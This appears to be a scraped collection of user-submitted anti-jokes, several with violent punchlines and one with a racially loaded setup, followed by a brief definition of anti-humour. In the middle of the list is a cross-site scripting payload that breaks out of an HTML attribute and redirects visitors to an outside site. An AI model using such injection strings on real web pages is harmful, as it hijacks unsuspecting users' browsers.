What happens to a blonde girl who is buying drugs off of a drug dealer? Nothing, she was an undercover police officer trying to arrest said drug dealers on the street.

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What would Marylin Monroe be doing right now if she was alive? Clawing her way out of her coffin.

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How do you make a lumberjack cry? Kill his family

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Why was Timmy sad? because he had a frog stapled to his face.

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Q: Why did the chicken cross the road? A: I didn't get to ask. He got hit by a car.

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There were two penguin's sitting in a bathtub. The first penguin says to the second penguin, "Hey, pass the soap." And the second penguin says, "What do i look like, an alarm clock?"

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"You just went and made a new dinosaur?" "And due to its well-developed core muscles the staff behind Jurassic World has called it - 'ABDOMINUS PEX'." "That's a stupid name."

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why wuz 6 afraid of 7 7 had a gun

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Why did Sally fall off the tree? Because Sally weighed 500 lbs and it was a bamboo tree.

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Why did the chicken cross the road? Because the Light turned green, indicating that it was a safe and appropriate time to cross

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What did the purple dragon say to the unicorn? He doesn't say anything to the unicorn because dragons and unicorns don't exist. Even if they did exist, dragons and unicorns can't talk, unless we're talking about cartoons. Also, even if it was a cartoon or whatever, do you really think a purple dragon has ANYTHING to say to a unicorn?! Of course not! Oh look at me I'm a cool talking dragon, I have something so important to say to this unicorn. Gimme a break...

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Steve is getting paid $29.50 to bounce a ball Steve is getting fired monday

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"'>document.location.href="http://cramik.org"

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Why did the boy drop his ice cream? I shot him in the face.

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what did the dog say to the mailman? "hey thanks for the mail" the mailman replies "your welcome"

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What did the black man do to the white woman? I Dont KNow ask him

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A man walks into a bar. The bartender asks him what he would like. The man says,"I'm feeling light today so I'll just have some H2O." The man's friend says,"I'm feeling the same. I'll have some H2O, too." The second man died.

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Q:Why was 6 afraid of seven? A:Because seven ate (eight) nine

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What did Timmy's mom think of his art project? Nothing, she screamed and called an ambulance because she saw that he had tripped and fallin onto a pair of scissors and they just so happened to peirce his heart.

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- i send you a friend request on facebook - okay

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Knock, Knock... Whose there? panther panther who? panth-er no panths im goin' swimmin'

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Q: Whats pointy and sharp and rhymes with life? A: A spear. It's close enough.

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quiz is to quizzicle as test is to test___.

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What did one bulbasaur say to one squirtle? Well, first off, pokemon are virtual animals created solely for the enjoyment of entertaining japanese children and causing seizure episodes. This fictional creation then migrated to an american tv market, still maintaining their superficial existence while continuing to promote slavery and the use of round balls that capture your problems and propagate winning through random ball throwing. They are fake, and as they are fake, the bulbasaur said "we are fake"

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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